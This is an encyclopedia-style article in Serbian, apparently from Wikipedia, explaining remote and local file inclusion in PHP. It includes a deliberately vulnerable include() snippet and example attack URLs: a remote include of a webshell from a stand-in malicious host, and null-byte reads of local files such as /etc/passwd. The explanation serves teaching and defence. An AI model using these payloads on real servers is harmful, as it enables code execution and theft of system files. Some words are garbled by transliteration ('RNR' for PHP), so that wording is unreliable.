Ranjivost uključivanjem datoteka

Uključivanje udaljenih datoteka (engl. Remote File Inclusion) je najčešća vrsta ranjivosti koja se javlja na sajtovima. Omogućava napadaču da uključi udaljenu datoteku, uglavnom kroz skripte servera. Ovi problemi se mogu javiti ukoliko se korisnički unos koristi bez adekvatne provere. To može dovesti do minimalnih problema, poput prikaza sadržaja datotka, ili ozbiljnijih pretnji poput:

  • Izvrnjavanja koda na serveru.
  • Izvršavanje koda na strani klijenta, uz pomoć JavaScript-a, što može dovesti do drugih napada kao što je umetanje skriptova.
  • DoS napad.
  • Manipulacije ili krađe podataka.

Programski jezeci

uredi

U RNR-u glavni uzrok je korišćenje neproverenih spoljašnjih promenljivih kao što su $_GET, $_POST, $_COOKIE sa funkcijama za datotečni sistem. Najzastupljnije su include i require naredbe. Većina ranjivosti se pripisuje programerima početnicima koji nisu upoznati sa svim mogućnostima RNR programskog jeѕika. U RNR jeziku postoji naredba allow_url_fopen koja, ako je „pozvana“, dozvoljava funkcijama datotečnog sistema da koriste veb-adrese kako bi preuzeli podatke sa udaljenih lokacija.[1] Napadač menja promenljivu koja se prenosi u jednu od tih funkcija kako bi je „naterao“ da izazove uključivanje zlonamernog koda sa udaljene lokacije. Da bi se umanjila mogućnost ovog problema svi korisnički unosi moraju biti provereni pre nego što se upotrebe.[2][3]

Primer

uredi

Analiziraćemo ovu RNR skriptu koja uključuje datoteku određenu zahtevom:

<?php
   if ( isset( $_GET['COLOR'] ) ) {
      include( $_GET['COLOR'] . '.php' );
   }
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

Programer je nameravao da samo blue.php i red.php budu korišćene opcije, ali je moguće ubaciti kod iz drugih datoteka budući da svako može ubaciti proizvoljne vrednosti za parametar COLOR.

  • /ranjiv.php?COLOR=http://zli.primer.com/webshell.txt? -ubacuje udaljenu datoteku koja sadrži zlonamerni kod.
  • /ranjiv.php?COLOR=C:\\ftp\\upload\\exploit - Izvršava kod koji je već postavljen na serever, sa nazivom exploit.php (uključivanje lokalne datoteke).
  • /ranjiv.php?COLOR=C:\\notes.txt%00 - Uz pomoć NULL meta karaktera uklanja se .rhr. sufiks, sto omogućava pristup fajlovima koji nisu .rnr (Uključivanje magic_quotes_gpc ograničava napad onemogućavanjem specijalnih karaktera, ali to takodje onemgućava upotrebu NULL karaktera).
  • /ranjiv.php?COLOR=/etc/passwd%00 - Omogućava napadaču čitanje datoteke password na UNIX sistemu.

Uključivanje lokalne datoteke

uredi

Uključivanje lokalne datoteke (engl. Local File Inclusion) je slično uključivanju udaljenih datoteka osim što umesto uključivanja udaljenih datoteka, uključuju se lokalne datoteke tj. datoteke sa servera stranice. Ranjivost nastaje zbog upotrebe korisničjih unosa bez prethodne provere.

Vidi još

uredi

Izvori

uredi
  1. ^ „Using remote files”. PHP. Pristupljeno 3. 3. 2013. 
  2. ^ „Remote File Inclusion”. The Web Application Security Consortium. Pristupljeno 3. 3. 2013. 
  3. ^ „CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')”. Common Weakness Enumeration (CWE). Mitre. Pristupljeno 3. 3. 2013. 

Spoljašnje veze

uredi